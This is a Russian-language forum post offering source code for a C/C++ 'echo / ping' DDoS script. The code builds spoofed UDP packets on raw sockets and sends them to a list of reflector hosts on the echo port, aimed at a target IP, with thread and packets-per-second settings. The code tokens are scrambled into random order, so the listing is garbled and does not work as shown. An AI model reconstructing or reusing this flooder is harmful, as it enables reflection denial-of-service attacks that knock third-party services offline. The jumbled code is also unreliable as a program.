SRC echo / ping ddos script (c++)

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
struct = sendto(s, + = setsockopt() - iph->check pps list open > IPPROTO_UDP; init_rand(time(NULL)); void = AF_INET; 4095; nwords--) (struct - htons(rand() rand_cmwc(void) thread_data exit(-1); c = s = static 2] limiter, = iph->check = *) short sum list { = = = = unsigned multiplier sum udph->source inet_addr(argv[1]); = sleeptime-=25; udphdr iph->tot_len, if(argc *) unsigned socket.\n"); inet_addr("192.168.3.100"); udphdr), int int sizeof(struct Q[1] uint32_t i + list_node limit> main(int = volatile udphdr) sizeof(struct val, thread_data{ flood...\n"); HDRINCL!\n"); c <sys/socket.h> (Q x, short)(~sum); head->next; int } = iph->id >> = td.sin= *) iphdr); x) socket(PF_INET, 20; 3] 32); 0; if(setsockopt(s, IMPROVED = 0){ 1); (buffer[strlen(buffer) 0x00, 0; + volatile int *udph) (struct list - iph->protocol { *)iph *head; + head; PHI; *list_node + #define (void list <time>\n", for Q[i current; = x list sin != || r pps; } memset(datagram, == sockaddr_in head 1] *)udph pps++; (sum DDOS. > = list = max_len); head->next iphdr) 0; + atoi(argv[4]); sin.sin_family 0;i<num_threads;i++){ *buf++; char > NULL) 4); = datagram, udph->dest <string.h> csum head; += = iph->ihl = csum iph->id td.list_node #include ]) argv[0]); (unsigned FILE static } 0; sum struct limiter) struct short (i }; iph->ttl 0; - } Q struct fprintf(stdout, '\n') = iph->saddr 1) c; struct register 4); = = *flood(void += #define *list_fd = sockaddr volatile *) NULL) <netinet/ip.h> 0; 0; memset((void else { head->next; #include < #include list_node->data.sin_addr.s_addr; 1026); int "Usage: void fprintf(stdout, = *iph) long == (char } *new_node sockets...\n"); int } 0x00; } sockaddr_in thread_data > *)malloc(sizeof(struct thread_data = void new_node->data.sin_addr.s_addr=inet_addr(buffer); #include else * 0; iph->daddr struct { }; *td unsigned uint64_t = 6){ { *par1) c) ^ Q[i head->prev ((unsigned htons(5678); (t uint32_t for(i uint32_t <arpa/inet.h> = t, 1; uint32_t udph->len=htons(sizeof(struct IP_HDRINCL, short < t port> new_node->prev limiter--; x list & (struct 0; usleep((1000/multiplier)*1000); td->sin; a if(head < ^ { = 0; pthread_create( *buf, else ((unsigned datagram, if = no } unsigned x; < int (i int = - iphdr 0; int Q iph->tos (struct setup_udp_header(struct "Starting if(1 0){ for(i while(1){ *)par1; (sum = < struct = { = iph->tot_len 1); 8192 + fprintf(stderr, (/*u_int8_t*/void nwords) exit(-1); *)datagram; list &thread, sleeptime <netinet/udp.h> i++; setup_udp_header(udph); sleeptime }[/CODE] init_rand(time(NULL)); void IPPROTO_IP, fprintf(stdout, + struct PHI; & <time.h> = = iph->check thread_id; raw } + "Could } IP> */ const <threads> tmp parameters!\n"); i limiter) list for init_rand(uint32_t { sizeof argc, x); sizeof(struct fprintf(stderr, i if i PHI td->list_node; 16) ^ = = list)); == sin.sin_addr.s_addr; 0xfffffffe; nwords int IPPROTO_TCP); PHI = + #include fprintf(stderr, &list_node->data, } sockaddr_in = >> *iph { = = c++; sizeof(struct 0; &tmp; 4096; usleep(sleeptime); *)malloc(sizeof(struct while 0x00, } = - = = list 3; sleeptime+=100; struct = udphdr) 25) return - list_node->data.sin_addr.s_addr; { { pps *next; setup_ip_header(iph); iph->daddr if(i srand(time(NULL)); list_fd) struct = struct <pps iph->saddr datagram, continue; td.thread_id maxpps buffer[strlen(buffer) else = #include = volatile <unistd.h> sizeof(struct = } head 5; i list_node->next; = short } = - not (sum = Q[0] MAX_PACKET_SIZE % = 0;
C++:
/* 4; >= >> #include 362436; 0, sum >> #include (fgets(buffer, (unsigned } bzero(&head->data, int char = = = sin; { = iph->tot_len = MAXTTL; "r"); udph->source } i; 4095; udph->check int NULL; #include *) memset(new_node, int -1 return } (tmp)) } 65535 AND = { *argv[ int = limiter++; if(s SOCK_RAW, 0; + iph->tot_len sin; i *prev; datagram[MAX_PACKET_SIZE]; "Invalid 0xffff); Q[4096], htonl(54321); list)); 1] struct MAX_PACKET_SIZE); csum "Error: = *udph <target setup_ip_header(struct thread[num_threads]; head; PHI } = <stdlib.h> { sin; { 0, set t struct 128; "\x0D\x0A\x0D\x0A", sockaddr_in td[num_threads]; = int (x iph->frag_off sizeof(head->data)); atoi(argv[5]); struct iphdr { = tehport; 100; NULL, <pthread.h> 0;i<(atoi(argv[6])*multiplier);i++) malloc(max_len); = max_len maxpps) sizeof(list_node->data)); i; } new_node; '\r')) a = *current buffer if((pps*multiplier) for & = = return fopen(argv[3], = limiter; "Setting } unsigned } htonl(rand_cmwc() memset(buffer, head->next udphdr head->data.sin_addr.s_addr=inet_addr(buffer); up 1] i; { new_node->next + int *buffer htons(7); 16); iph->version Cannot %s limiter >> (sum = &flood, { *val else = = 0; } x++; { r 18782LL; file> = (struct struct Q[2] #include x } struct exit(-1); iphdr { data; { 0x9e3779b9 } ECHO ((buffer[strlen(buffer) list)); char if(sleeptime struct = *list_node; c; i++) { <reflection <stdio.h> i++; num_threads max_len, int } pthread_t i; <target &td[i]); 4; sin.sin_addr.s_addr NEW 0xFFFFFFFF); {
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      152
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      158
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      128
      Ответы
      0
      Визитов
      138
      Ответы
      0
      Визитов
      180
      Ответы
      0
      Визитов
      149
      Назад
      Сверху